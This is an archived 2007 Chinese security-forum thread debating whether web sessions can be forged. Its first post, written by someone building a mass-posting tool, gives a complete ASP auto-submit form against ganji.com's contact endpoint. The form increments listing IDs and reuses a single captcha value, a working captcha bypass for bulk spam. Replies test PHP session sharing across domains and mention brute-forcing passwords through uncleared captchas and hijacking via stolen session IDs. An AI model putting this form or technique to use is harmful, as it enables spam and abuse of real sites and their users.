邪恶八进制信息安全团队技术讨论组's Archiver

y.q.hun 2007-8-11 02:18

[原创]通过session验证码欺骗来说明伪造session的可行性(图例)

文章作者:Y.Q.Hun
提外话:
要做ganji.com的群发,研究了一晚上的验证码以及与此相关的东东!最后是做出了群发的小软件!但效率并不怎么高!恰好看到邪八讨论SESSION的问题!开始我也跟所有人一样,认为nowthk的认识是错误的!恰好又无聊,就按照他的思路(不知道理解正确与否)来测试了一下!

目标测试地址:[url]http://cs.ganji.com/service25d/07080413_2166.htm[/url]
[color=#ff0000]第一步[/color]:打开后别关这个页面,记住验证码6333
[img]http://www.hunzi.net.cn/1.JPG[/img]
然后我们自己来做一个自动提交的页面:
[code]<HTML xmlns="[url]http://www.w3.org/1999/xhtml"[/url]><HEAD><TITLE>好房呢-赶集网 房产</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<META content=没有什么 name=description><LINK href="images/n-base.css"
type=text/css rel=stylesheet><LINK href="images/n-top_bottom.css"
type=text/css rel=stylesheet><LINK href="images/n-font_link.css"
type=text/css rel=stylesheet><LINK href="images/n-postList_content.css" type=text/css rel=stylesheet>
<!--保留当前页面session.为了快速看到效果,把id设为2166,刷新一次ID就自动+1-->
<%
if Session("id")="" then
id=2166
else
id=Session("id")+1
end if
Session("id")=id
%>
<FORM name=contact action=http://cs.ganji.com//info/contact.php method=post target=_blank encType=multipart/form-data>
<DIV id=mailUserTitle>邮件联系发布人<FONT size=+0> <A name=contactAuthor></A></FONT></DIV>
<DIV id=mailUserContent>
<DIV><LABEL><B>* </B>您的E-mail:</LABEL>
<INPUT name=From id=From value="[email]hehe@163.com[/email]" size=25 maxLength=50>
<BR></DIV>
<DIV><LABEL>您的姓名:</LABEL>
<INPUT name=YourName id=YourName value="hellokane" size=25 maxLength=50>
</div>
<div><LABEL>Sort:</LABEL>
<input name="Sort" type="text" id="Sort" value="service">
</DIV>
<div><LABEL>ID:</LABEL>
<input name="ID" type="text" value="<%=id%>" id="ID">
</DIV>
<div><LABEL>list_type:</LABEL>
<input name="list_type" type="text" value="25" id="ID">
</DIV>
<DIV><LABEL><B>* </B>内容:</LABEL>
<TEXTAREA id=Content name=Content rows=5 cols=25>看了你发布的信息,请你和我联系,我的QQ:xxxxx</TEXTAREA>
</DIV>
<DIV class=checkNumber><LABEL><B>* </B>验证码:</LABEL>
<INPUT id=vCode maxLength=4 value="6333" size=5 name=vCode><!--这是验证码的值一定要修改跟你打开页面的验证码一样。而且我

们只需要设置一次就OK!-->
<BR>
</DIV>
<DIV><LABEL> </LABEL> <INPUT class=button type=submit value=提交 name=Submit>
<INPUT class=button type=reset value=重填 name=reset111>
<INPUT style="DISPLAY: none" type=hidden value=changsha name=City>
<INPUT style="DISPLAY: none" type=hidden value=contact name=action>
</DIV></DIV></FORM>
</BODY></HTML>
[/code]

[color=#ff0000]第二步[/color]:用[url]www.hunzi.net.cn/ganji.asp[/url]访问! (请注意ID值的变化,以证明我们的SEESION保留还是消失)然后点提交
[img]http://www.hunzi.net.cn/4.JPG[/img]

看到没有,成功回复了!

[color=#ff0000]第三步[/color]:然后我们改动一下验证码!6334 ,再提交,验证码错误! (请注意ID值的变化)
[img]http://www.hunzi.net.cn/5.jpg[/img]

[color=#ff0000]第四步[/color]:然后我们关掉所有IE,重新打开[url]www.hunzi.net.cn/ganji.asp[/url] (请注意ID值的变化)
提交后验证码错误!
[img]http://www.hunzi.net.cn/6.jpg[/img]



现在我来说明一下,不知道说的对不对,鸡蛋随便砸!
session并不是客户端的会话期间,而是浏览器打开关闭的过程。第二、四步说明了这个问题!
第一步打开的页面不要关闭,以及验证码不改变还有ID变化了,这些能成功提交说明,我们去伪造一个SESSION,保持与当前浏览页面SESSION同步是切实可行的。

话不多 2007-8-26 20:29

by 牛皮总


实验一把Session.

本地环境 PHP Version 5.2.3 & apache_2.2.4
远程服务器环境 PHP Version 4.4.0 & Linux Apache/2.0.54 (Unix)
IIS没有测试
测试域名: [url]www.netpk.org[/url] & [url]www.i0day.cn[/url]

先写二个PHP脚本 Session.php  ifsession.php

session.php代码如下

<?php
session_start();

$_SESSION[&#39;NETPK&#39;] = &#39;netpk&#39;;


echo &#39;$_SESSION[\&#39;NETPK\&#39;]:&#39; . $_SESSION[&#39;NETPK&#39;] . "<br />";


echo &#39;<br /><a href="ifsession.php">验证SESSION</a>&#39;;

?>

ifsession.php代码如下

<?php
session_start();

if ($_SESSION[&#39;NETPK&#39;] != &#39;netpk&#39;)
{
echo &#39;session error!!&#39;;
}else
{
echo &#39;Session OK!!&#39;;
}
echo &#39;<br />$_SESSION[\&#39;NETPK\&#39;]:&#39; . $_SESSION[&#39;NETPK&#39;] . "<br />";
?>
<a href="session.php">返回</a>


本地测试的图就不上了..和远程服务器结果是一样一样地

同样2个脚本.分别上传至
[url]www.netpk.org[/url] 和[url]www.i0day.cn[/url] 根目录下

先[url]http://www.i0day.cn/session.php[/url]


SESSION设置成功
再[url]http://www.i0day.cn/ifsession.php[/url]验证

OK..成功输出SESSION值.

那下面我[url]http://www.netpk.org/ifsession.php[/url]是不是也可以成功验证.输出SESSION值咧?


ERROR...
echo session为空...

同一服务器..




实践结束....
虚似主机克星?
[s:264]

陆羽 2007-8-27 08:38

都是牛X,呵呵
session在第4带黑客这里被破解就好了。
呵呵。
那以为不是什么站都可以自己构造session进去后台?
汗。。。。。
很多站都是session验证的

不是牛人mj 2007-9-1 11:18

楼主,你的实验只能说明两点
1、赶集网没有做验证码的清空,也就是说,成功提交后他没有把保存验证码的session置空,所以会出现你看到的情况,好像以前的动易也有类似的缺陷,导致可以填写一次验证码暴力穷解密码。
2、客户端的sessionid用于服务器客户端进行身份识别,从而调出服务器上保存的客户端的session信息,按你所说的,只要得到某客户端的sessionid,是可以伪装其身份的,但是有一个问题就是,session有一个有效期,得到sessionid通常通过跨站等方法,我想你拿到这个sessionid,往往服务器那边的session就过期了。

一楼的实验说明不同主机头下的session不是共享的

二楼什么都不懂,瞎扯

最终结论,自己构造session是不可能的,绝对不可能,这是网站服务器的模型所决定的

某牛人 2007-9-6 03:24

不是牛人mj :
其实我们所谓的session就是sessionid加上一系列的特征信息加密而构建成的哇。
session里面唯一有用的信息貌似就只有一个sessionid了。
正如你所说的。服务器就是通过这个sessionid然后找到对应的网站再来取出变量的。如果有任何一个不同的话,就不能取出来。
如果真爆出了session可以破解的话,这就不算一个BUG了。算是一个大漏洞来着。

页: [1]
© 1999-2008 EvilOctal Security Team